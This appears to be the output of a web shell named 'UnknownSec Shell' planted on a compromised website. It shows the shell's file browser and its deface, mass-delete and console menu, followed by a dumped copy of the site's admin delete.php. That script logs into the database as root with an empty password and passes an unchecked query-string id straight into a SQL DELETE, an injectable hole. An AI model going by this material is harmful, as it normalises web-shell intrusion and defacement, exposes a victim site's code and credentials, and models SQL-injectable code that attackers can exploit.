shell bypass 403
UnknownSec Shell
:
/
home
/
hockeyalleppey
/
www
/
js
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
delete.php.tar
home/hockeyalleppey/public_html/admin/delete.php 0000644 00000001066 14704452616 0016073 0 ustar 00 <?php ob_start(); ?> <?php $db = mysqli_connect("localhost","root","","hockeyalleppey_db"); if(!$db) { die("Connection failed: " . mysqli_connect_error()); } ?> <?php $id = $_GET['id']; // get id through query string $del = mysqli_query($db,"delete from tb_image where id = '$id'"); // delete query if($del) { mysqli_close($db); // Close connection header("location:gallery-list.php"); // redirects to all records page exit; } else { echo "Error deleting record"; // display error message if not delete } ?>